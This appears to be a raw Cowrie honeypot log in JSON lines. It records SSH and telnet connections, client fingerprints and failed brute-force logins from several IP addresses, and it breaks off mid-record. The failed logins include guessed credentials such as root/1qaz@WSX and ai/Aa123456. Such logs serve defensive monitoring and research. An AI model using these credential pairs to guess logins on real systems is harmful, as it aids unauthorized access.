{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:56.110260Z","src_ip":"104.152.52.70","session":"d60a6f0ef38b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:56.136920Z","src_ip":"104.152.52.70","session":"d60a6f0ef38b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57284,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ff8a6fcde3b","protocol":"telnet","message":"New connection: 152.42.224.71:57284 (10.17.0.5:23) [session: 8ff8a6fcde3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:58.481436Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57290,"dst_ip":"10.17.0.5","dst_port":23,"session":"11ae9b5a1da5","protocol":"telnet","message":"New connection: 152.42.224.71:57290 (10.17.0.5:23) [session: 11ae9b5a1da5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:00.435449Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":50098,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f500b012856","protocol":"ssh","message":"New connection: 31.40.204.166:50098 (159.203.135.109:22) [session: 1f500b012856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:01.808804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:01.819105Z","src_ip":"31.40.204.166","session":"1f500b012856","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:02.020105Z","src_ip":"31.40.204.166","session":"1f500b012856","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:02.897218Z","src_ip":"31.40.204.166","session":"1f500b012856","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:04.103630Z","src_ip":"31.40.204.166","session":"1f500b012856","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.189558267593384,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:05.125015Z","src_ip":"152.42.224.71","session":"be4f7c1546c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.84898138046265,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:07.839762Z","src_ip":"152.42.224.71","session":"4d91d85aec3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.65623068809509,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:08.275596Z","src_ip":"152.42.224.71","session":"57c0453f1aab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.43507933616638,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:09.268629Z","src_ip":"152.42.224.71","session":"ebb65fa67c56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.38058567047119,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:09.960445Z","src_ip":"152.42.224.71","session":"f2029bcac1ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37774,"dst_ip":"10.17.0.5","dst_port":23,"session":"1aed0af6768d","protocol":"telnet","message":"New connection: 152.42.224.71:37774 (10.17.0.5:23) [session: 1aed0af6768d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:10.225871Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":49898,"dst_ip":"10.17.0.5","dst_port":22,"session":"c63638a42ad0","protocol":"ssh","message":"New connection: 62.133.62.83:49898 (10.17.0.5:22) [session: c63638a42ad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:13.595683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:13.600930Z","src_ip":"62.133.62.83","session":"c63638a42ad0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:13.679850Z","src_ip":"62.133.62.83","session":"c63638a42ad0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"656565","message":"login attempt [root/656565] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:13.920484Z","src_ip":"62.133.62.83","session":"c63638a42ad0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:15.003496Z","src_ip":"62.133.62.83","session":"c63638a42ad0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":54288,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4de28f051ec","protocol":"ssh","message":"New connection: 31.40.204.166:54288 (159.203.135.109:22) [session: c4de28f051ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:15.025691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:15.034069Z","src_ip":"31.40.204.166","session":"c4de28f051ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.10.74.2","src_port":45119,"dst_ip":"10.17.0.5","dst_port":23,"session":"570cbb2761c0","protocol":"telnet","message":"New connection: 46.10.74.2:45119 (10.17.0.5:23) [session: 570cbb2761c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:15.058594Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:15.225490Z","src_ip":"31.40.204.166","session":"c4de28f051ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:15.800755Z","src_ip":"31.40.204.166","session":"c4de28f051ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:16.990540Z","src_ip":"31.40.204.166","session":"c4de28f051ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43200,"dst_ip":"10.17.0.5","dst_port":23,"session":"2421eb32e717","protocol":"telnet","message":"New connection: 152.42.224.71:43200 (10.17.0.5:23) [session: 2421eb32e717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:18.857965Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43214,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b1057121dae","protocol":"telnet","message":"New connection: 152.42.224.71:43214 (10.17.0.5:23) [session: 2b1057121dae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:19.320389Z"}
{"eventid":"cowrie.session.closed","duration":69.1537594795227,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:22.565831Z","src_ip":"152.42.224.71","session":"50c5609ffafc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42878,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f4b92c66e47","protocol":"telnet","message":"New connection: 152.42.224.71:42878 (10.17.0.5:23) [session: 1f4b92c66e47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:26.177487Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":38056,"dst_ip":"159.203.135.109","dst_port":22,"session":"c26c30a2e0b9","protocol":"ssh","message":"New connection: 31.40.204.166:38056 (159.203.135.109:22) [session: c26c30a2e0b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:27.123936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:27.128456Z","src_ip":"31.40.204.166","session":"c26c30a2e0b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.23113417625427,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:27.273292Z","src_ip":"152.42.224.71","session":"d7d81e33d1b1","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:27.298043Z","src_ip":"31.40.204.166","session":"c26c30a2e0b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.478961944580078,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:27.537440Z","src_ip":"46.10.74.2","session":"570cbb2761c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.765204668045044,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:27.695307Z","src_ip":"152.42.224.71","session":"b997f0b94c7f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ai","password":"Aa123456","message":"login attempt [ai/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:27.905581Z","src_ip":"31.40.204.166","session":"c26c30a2e0b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:29.090919Z","src_ip":"31.40.204.166","session":"c26c30a2e0b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.14213848114014,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:29.420898Z","src_ip":"152.42.224.71","session":"162249f9b541","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":41812,"dst_ip":"159.203.135.109","dst_port":22,"session":"44250bb8ca35","protocol":"ssh","message":"New connection: 103.27.238.120:41812 (159.203.135.109:22) [session: 44250bb8ca35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:30.721805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:30.726472Z","src_ip":"103.27.238.120","session":"44250bb8ca35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:30.978744Z","src_ip":"103.27.238.120","session":"44250bb8ca35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p","message":"login attempt [root/p] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:31.740493Z","src_ip":"103.27.238.120","session":"44250bb8ca35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:32.995629Z","src_ip":"103.27.238.120","session":"44250bb8ca35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":94.79363489151001,"message":"Connection lost after 94 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:36.422355Z","src_ip":"152.42.224.71","session":"b6f11725889f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":88.29735922813416,"message":"Connection lost after 88 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:37.801994Z","src_ip":"152.42.224.71","session":"dc710875f1f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.66751146316528,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:38.293461Z","src_ip":"152.42.224.71","session":"3c9c42878bb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52356,"dst_ip":"10.17.0.5","dst_port":23,"session":"82a9430e02d0","protocol":"telnet","message":"New connection: 152.42.224.71:52356 (10.17.0.5:23) [session: 82a9430e02d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:38.994665Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":48754,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a7ca4fd630c","protocol":"ssh","message":"New connection: 31.40.204.166:48754 (159.203.135.109:22) [session: 5a7ca4fd630c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:39.185410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:08:39.190777Z","src_ip":"31.40.204.166","session":"5a7ca4fd630c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"m